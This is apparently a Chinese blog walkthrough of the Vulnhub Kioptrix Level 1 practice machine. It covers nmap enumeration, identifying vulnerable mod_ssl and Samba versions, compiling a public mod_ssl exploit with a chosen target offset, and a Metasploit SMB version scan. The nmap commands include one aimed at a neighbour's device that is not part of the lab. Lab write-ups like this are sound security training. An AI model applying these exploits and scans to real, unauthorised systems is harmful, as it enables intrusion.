0x00 前言

准备写一个撸Vulnhub的系列教程,从Kioptrix系列开始,相关链接在这里:https://www.vulnhub.com/series/kioptrix,8/,这篇文章先从Kioptrix: Level 1 (#1)开始了。

OSCP的在线lab太卡了,先做Vulnhub上头的镜像练手。

0x01 渗透思路

常规思路,两个入口,扫描服务,识别版本,上exploit code梭哈。

  • Apache mod_ssl 2.8.4 Remote Buffer Overflow
  • Samba 2.2.1a Remote Code Execution

0x03 渗透过程

靶机起来大概长这样:

Enumeration

netdiscover内网主机发现,原理就是ARP扫描,拿到内网IP。

192.168.199.230 00:0c:29:7c:3a:16 1 60 VMware, Inc.

192.168.199.1是路由器,192.168.199.126是邻居的手机,192.168.199.219不知道是个啥,回头再看(emm,namp扫了下好像是邻居的笔记本),所以此次的目标就是192.168.199.230了。

nmap走一波:

1
2
nmap -p- -sV -T4 -A -oX Kioptrix_level_1.xml 192.168.199.230
nmap -p- -sV -T4 -Pn -oG Kioptrix_level_1.txt 192.168.199.219 | grep "open"

参数解读:

5
6
-p <port ranges>: Only scan specified ports,-p-就是扫描1-65535全端口
-sV: Probe open ports to determine service/version info
-T[0-6]: Set timing template (higher is faster),控制扫描速度啥的
-A: Enables OS detection and Version detection
-oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,and Grepable format, respectively, to the given filename. ,-oX就是输出xml格式后面跟文名
-Pn 不ping了,直接扫,避免有的机器禁ping而扫不到

定位到漏洞:

1
mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

基于CVE编号,搜到Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (1),searchsploit mod_ssl可以看到kali上存的利用代码:

image

image

expoloit比较老了,要装libssl1.0-dev才能编译成功,hhh

1
apt-get install libssl1.0-dev

然后报了更多的错误,大雾。。

image

好在找到了一篇文章,提出了解决方法:Compiling exploit 764.c in 2017 (using libssl-dev 1.1.0f ),嗯又报错了,最后换Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (2)弹回shell了。

基于nmap的扫描版本1.3.20,以及系统为redhat可以定位到为0x6a、0x6b两个参数,用了0x6b可以成功利用。

看了其他人写的writeup,正常可以拿到samba的版本号,但是我这个拿不到,还报了个错误:

1
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.

翻了下kali的bug tracker也提到了这个问题(测试了下缓解方法https://bugs.kali.org/view.php?id=4495),没成,似乎是smbclient的一个bug?

msf试试:

msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.199.230
RHOSTS => 192.168.199.230
msf5 auxiliary(scanner/smb/smb_version) > set THREADS 16
THREADS => 16
msf5 auxiliary(scanner/smb/smb_version) > run

可以直接识别出版本为Samba 2.2.1a

直接上exploit:Samba < 2.2.8 (Linux/BSD) - Remote Code Execution

0x04 待解决的问题

  • Kali 2019.03 smbclient bug导致不能识别smb版本的问题,提到Kali的bug tracker了。

0x05 后记

好多expolit code比较老了,0几年的,在现在用的系统上经常出现依赖库版本兼容性问题导致报错,烦躁。

顺便提交了一个kali 2019.03上头smbclient不能获取smb service version info的bug,详细信息见kali的bug tracker:It seems that the version bug of smbclient causes no way to enumerate the smb service version.
